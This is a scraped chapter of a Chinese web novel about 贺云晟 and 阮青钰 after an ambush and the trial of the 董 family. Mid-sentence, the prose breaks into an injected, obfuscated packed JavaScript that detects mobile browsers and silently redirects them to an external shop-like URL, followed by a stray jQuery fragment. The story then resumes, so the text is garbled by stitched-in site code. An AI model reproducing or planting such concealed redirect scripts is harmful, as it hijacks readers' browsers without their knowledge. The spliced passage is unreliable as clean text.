60.第 60 章
作品:《景元七年轶闻》 阮青钰看着他疲惫的睡颜,脑海不由浮现的,是刚才贺云晟回身来救她时结实挨了一刀仍将她护在身后的情形,忽而一丝暖意蔓延心中,蜿蜒流淌。
却听他继续说:“董家若是袭击府上,却没找到账本,恐怕很快就会想到阮家的温泉别院,那样人证物证就都危险了。我把你带上,他们会认为府上没有重要的东西,不然不会主人侍卫都不留。”
贺云晟说得很委婉,顾及阮青钰的脸面,但阮青钰听懂了。
不管是袭府翻过了,还是一开始就觉得,同样是认为他们的住处没有重要的证据,为什么阮青钰在府上,那些人就能很快想到证据在阮家别院?这是怕阮青钰万一落到董家手中,会麻利地出卖贺云晟。
真是感动早了。
阮青钰看着贺云晟身上的刀口。既然贺云晟不能信任她,用最简单的方法将她带在身边,不管她是不是涉险,又因为她在董家的事情上有用而不能放任她被杀,那这两刀,贺云晟挨得也不算亏。
阮青钰迅速收起一切感动和愧疚。
贺云晟本可以把话停在一半,收买人心,但他非要说得清楚,生怕她误会,不屑于做这个人情,那她自然也就不必欠这个人情。
“我也有一个问题。”
贺云晟睁开眼,看着阮青钰。
“刚才,在我们明显处于劣势、性命堪忧之前,你似乎都不怎么害怕。”
阮青钰不觉得有问题。
“那群人自称海匪,这样扑杀过来,我们反击,刀刀都是血肉人命,胳膊腿儿掉在你眼前,你竟然反应不大。”
阮青钰明白了,她缺乏正常普通人该有的反应。
“我想问,你那一场梦中,你是经历过什么,为什么会熟练地刮治缝伤,为什么不惧战场?”
贺云晟一贯不信阮青钰活过一世的说法,阮青钰以为他不会认真问这些,她还没有准备好这个问题的答案。
怎么说呢?因为你会被朝堂排挤去戍边,去守一座不可能守住的城,去打一场不可能赢的仗。我才有机会做医女。
她呆在贺云晟身边这些时间,见他昂扬恣意,见他少年胆气能豁出命设局,见他为陛下、为大夏朝廷殚精竭虑,唯独不见上一世的颓废和荒凉。
在阮青钰心里,她期望这样的贺云晟能一直保持下去,身负拏云志人间第一流的少年郎,谁不喜欢看呢。
真相这样残酷,如非必要,阮青钰不想告诉他。
更重要的是,阮青钰知道贺云晟并不全然信任她,她说出的一切,关于贺云晟的未来和朝堂的走向,都可能会被误解为别有用心。
毕竟,人如果不能接受一种事实,会倾向于否认带来这种消息的人,这样做更容易。
“因为我家败落了,为了活下去,我学了门医治外伤的手艺。在我那一梦里,后来遇到过战乱,我见过战场厮杀,见过血肉横飞,见过残肢零落,见过尸骨堆叠。我害怕极了,可我没有被吓死,就还得活下去,不学着习惯一些,怎么活呢?”
贺云晟猜到她一定有些不寻常的际遇,但从阮青钰嘴中平静地说出这些瘆人的话,他还是觉得周身有森森冷气。
难怪她会有如今这副心肠。步步盘算,是需要坚韧意志的。软弱的人,承担不起谋划中的不确定性。
若此时阮青钰红泪低垂、可怜倾诉,贺云晟大概能感受到满眼春风百事非的悲凉,但她只是就着风掀起来的车帘,看窗外寻常街市,喃喃说:“‘浮生暂寄梦中梦,世事如闻风里风。’”
风拂开她略微凌乱的发丝,她眼中是万千故事汇在一处反而无声的平静,眉目低垂,侧脸更显无辜迷人。
贺云晟看着她挪不开眼睛,战至最无力的一刻,阮青钰支撑他的触感似乎还停留在后背,他感觉自己心中有什么不受控制在松动。
他不喜欢这样,他的一切,都要在掌控中。他立刻合目不再看阮青钰,心中却久久不能平息。
自从这一天,阮青钰很少见到贺云晟。
董家除了八十高龄的二老,全部下狱,之前种种罪状,贺云晟查到的所有,都要过堂。张检主持堂审,贺云晟旁听,所有安排,亲力亲为,决断之事,也是张检和贺云晟商量着来。
张大人近日十分在意贺云晟的意见。
上次营救贺云晟,官兵是贺云晟计划去董家偷账本时就联络好的,贺云晟密信给宫中,请陛下安排好光州西北处荆州的军队。那里的卫所,不在董家能感知的势力范围内。
到了近处,贺云晟找了隐蔽处暂时安置他们,行动当天,则由张检带领。
光州虽大,近千官兵,藏哪里董家能不知道。但贺云晟有办法,他从此生最落魄的经历中获得了灵感,楚燕山这么大,高树密林,娟娟溪水,所有军士带足干粮,趁夜躲进去,藏他个几天,不成问题。
只有一点,要远离青山寺。贺云晟不能冒险,他只有一次机会,董家若是察觉他备好了刀,就不会再撞上来。所以他青山寺之行带上了所有拱星卫,这些人不仅要护卫他,还要看住山门。
在官兵到来之前,山门一定要守住,若是被关上了,便是官军到了也一时间进不来,这个时间差,就足够董其航将他们全都宰了。折了的那七个拱星卫,全部是看山门的。
张检在行动前一夜,才得知全部计划。
饶是在朝为官数十载见识不俗,他也惊得说不出话,不只是惊诧于贺云晟竟拿自己去赌,更是惊于贺云晟已将董家的事情查得如此详实,甚至已经提前藏好了援军。
贺云晟说到底没有实职,只是宗室,真要查办侯府,名义上的权利来源在于张检,他奉旨巡查,皇帝早和他交代过,贺云晟对付董家,张检要协助支持,董家的事情办好了,他也有功劳。
当天,张大人紧张得很,一直竖起耳朵听信号,终于在三声号角响起后,立刻带兵冲去青山寺。
张大人觉得自己没耽误,但贺云晟确实受了伤,看上去血淋淋的,张大人有些担心被秋后算账
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977713|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,就算贺云晟本人不追究,景世子受了伤,有心人很可能把这个过失算在他身上。朝中为官,最不缺的,就是政敌。
于是,这些天,张大人对贺云晟越发恭敬,若是有朝事发,他希望贺云晟能给他说两句公道话。
还有一点,贺云晟才二十出头,悄悄地就把这么大个案子办了,又是这样的身份,来日不知位至何处,恭敬点,总没错的。
想当初,贺云晟到光州不久就张罗给自己纳妾,张检还在质疑皇帝让贺云晟来查办董家的决定,只觉得贺云晟这样的身份这样的年纪正是爱美人爱玩闹的时候,只怕难堪大任。
是以那时贺云晟迎娶阮青钰,张检都没有露头观礼。短短数月,贺云晟竟将事情办得如此到位,莫说别人,就是同在光州的张检,也远远没有料到。
之前,贺云晟为了彰显他的沉迷美色,每天夜里都来阮青钰房间就寝。但最近他忙得脚不沾地,董家下狱后他也不必刻意伪装,再没去过阮青钰那里。
阮青钰见不着他,有些着急。
阮青钰不清楚外面的事情进展到何种地步,但她知道,在董家的事情上,她最大的价值已经不存在了,若是就此连贺云晟的面都见不到,该怎么维系她的分量?
而且她有一个想打探的人,周氏。
既然董家已被下狱,那个院子里的事情就能大大方方去查,她曾参与其中,她很好奇,那个院子的女子,曾对她好言相劝的女子,究竟是不是周氏。
她左右等不来贺云晟,就让时霜想办法打听了,知道贺云晟在书房和张检议事,她叫时霜去送甜汤。贺云晟见了时霜,终于想起还有阮青钰这号人,晚上就去了一趟。
贺云晟知道,阮青钰让贴身婢女去他跟前晃,该是有事情找他。
“什么事情?”贺云晟开门见山。
“殿下近日辛劳得很,我煲了汤,请殿下尝尝。”
阮青钰盛了汤双手递给贺云晟。
贺云晟没有接,而是看着她。
无事献殷勤,阮青钰没说清她的事情,贺云晟可不接这碗汤。
阮青钰放下汤,老实把话说了:“周氏是关键人证,不知那个院子的女子是不是周氏,她的事情查得如何了?”
“就这事儿?她确实是周氏”,贺云晟这才接过汤碗,“只是,她不是人证,她是案犯。”
“案犯?”阮青钰迷茫。
“或者说,在升平酒楼的案子里,周氏和董二,不好说谁是主犯谁是从犯。”
阮青钰睁大了眼睛。
贺云晟将近日审讯所知告诉了阮青钰,这是一个让人唏嘘的故事。
周氏嫁给郑老板后,过得并不好。
升平酒楼是郑家的祖产,但郑老板为人庸碌,不善经营,后来周氏嫁了进来,她才干非凡,在生意快要顶不住的时候出面整治,起死回生,让升平酒楼变成光州最风尚的去处,贵贱皆宜。
就是在这些时候,郑老板和周氏的矛盾越发明显。

